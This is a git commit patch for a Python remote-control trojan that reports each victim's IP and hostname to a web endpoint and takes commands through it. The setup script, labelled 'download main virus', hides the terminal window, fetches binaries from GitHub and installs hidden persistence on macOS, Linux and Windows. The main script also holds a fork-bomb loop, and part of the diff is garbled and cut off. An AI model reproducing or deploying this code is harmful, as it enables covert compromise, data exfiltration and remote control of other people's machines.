From d86e13b183d1724f0931a7320b07333c5fefebf1 Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Wed, 30 Aug 2023 01:09:44 +0800 Subject: updated dist and added more features for macos --- dist/main-mac | Bin 7449440 -> 7454432 bytes dist/main.app.zip | Bin 7374717 -> 7379824 bytes dist/main.app/Contents/MacOS/main | Bin 7449440 -> 7454432 bytes dist/setup-mac | Bin 7447200 -> 7447344 bytes dist/setup.app.zip | Bin 7372177 -> 7372312 bytes dist/setup.app/Contents/MacOS/setup | Bin 7447200 -> 7447344 bytes main.py | 199 +++++++++++++++++++++++++++++++++++- setup.py | 74 ++++++++------ 8 files changed, 240 insertions(+), 33 deletions(-) diff --git a/dist/main-mac b/dist/main-mac index edab5a0..dd33c1d 100755 Binary files a/dist/main-mac and b/dist/main-mac differ diff --git a/dist/main.app.zip b/dist/main.app.zip index a7c878f..a7dd330 100644 Binary files a/dist/main.app.zip and b/dist/main.app.zip differ diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main index 40285ca..a6d1b7b 100755 Binary files a/dist/main.app/Contents/MacOS/main and b/dist/main.app/Contents/MacOS/main differ diff --git a/dist/setup-mac b/dist/setup-mac index 248fe7e..ef1c60d 100755 Binary files a/dist/setup-mac and b/dist/setup-mac differ diff --git a/dist/setup.app.zip b/dist/setup.app.zip index 5f621de..277e363 100644 Binary files a/dist/setup.app.zip and b/dist/setup.app.zip differ diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup index 3540ad5..8e37fad 100755 Binary files a/dist/setup.app/Contents/MacOS/setup and b/dist/setup.app/Contents/MacOS/setup differ diff --git a/main.py b/main.py index c1355bd..c80d9e7 100644 --- a/main.py +++ b/main.py @@ -15,7 +15,7 @@ try: post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"New client IP: `{ip}@{hostname}`") except KeyboardInterrupt: try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname} ``Client tried to SIGINT(Ctrl+C) when init``") + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``Client tried to SIGINT(Ctrl+C) when init``") pass except KeyboardInterrupt: pass @@ -78,6 +78,203 @@ while True: else: while 1: fork() + elif command.startswith('volume'): + localcmd = command.split() + if localcmd[1len(localcmd)]: + if ossystem(f"osascript -e 'display notification \"{localcmd[2]}\" with title \"{localcmd[3]}\" subtitle \"{localcmd[4]}\"'"): + try: + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Notified successfully```") + old_command = command + except: + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to notify```") + continue + continue + else: + try: + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to notify```") + except KeyboardInterrupt: + continue + continue + else: + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```You need to pass three argument in the order of \`content\` \`title\` \`subtitle\`") + old_command = command + continue + elif localcmd[1] == 'keyboard' or localcmd[1] == 'type': + if localcmd[3 /dev/null") - system(f"mv {expanduser('~')}/dist/* {localfile}.app && rm -rf {localfile}.tmp.zip {expanduser('~')}/dist") - system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{localfile}.app\", hidden:true}}' > /dev/null") -elif platform == "linux": - from os import environ - open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-linux", allow_redirects=True).content) - if 'zsh' in environ['SHELL']: - system(f"echo {localfile} >> {expanduser('~')}/.zshenv") - elif 'bash' in environ['SHELL']: - system(f"echo {localfile} >> {expanduser('~')}/.bashenv") -elif platform == "win32": - open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-linux", allow_redirects=True).content) - from shutil import copy - copy(localfile ,"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp") +try: + # download main virus + if platform == "darwin": + system("osascript -e 'tell application \"System Events\" to set activeApp to name of first application process whose frontmost is true' -e 'set terminalEmulators to {\"Terminal\", \"iTerm\", \"Hyper\", \"Kitty\"}' -e 'repeat with termApp in terminalEmulators' -e 'if (activeApp contains termApp) then' -e 'tell application termApp to set currentWindow to front window' -e 'set visible of currentWindow to false' -e 'exit repeat' -e 'end if' -e 'end repeat'") + open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-mac", allow_redirects=True).content) + open(f"{localfile}.tmp.zip", 'wb').write(get("https://github.com/mrdog233o5/remote-control-discord/raw/main/dist/main.app.zip", allow_redirects=True).content) + system(f"unzip -o {localfile}.tmp.zip -d {expanduser('~')} > /dev/null") + system(f"mv {expanduser('~')}/dist/* {localfile}.app && rm -rf {localfile}.tmp.zip {expanduser('~')}/dist") + system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{localfile}.app\", hidden:true}}' > /dev/null") + elif platform == "linux": + from os import environ + open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-linux", allow_redirects=True).content) + if 'zsh' in environ['SHELL']: + system(f"echo {localfile} >> {expanduser('~')}/.zshenv") + elif 'bash' in environ['SHELL']: + system(f"echo {localfile} >> {expanduser('~')}/.bashenv") + elif platform == "win32": + open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-linux", allow_redirects=True).content) + from shutil import copy + copy(localfile ,"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp") -system(f"chmod 555 {localfile}") + system(f"chmod 555 {localfile}") -subproc([localfile]) + subproc([localfile]) +except KeyboardInterrupt: + pass -- cgit v1.2.3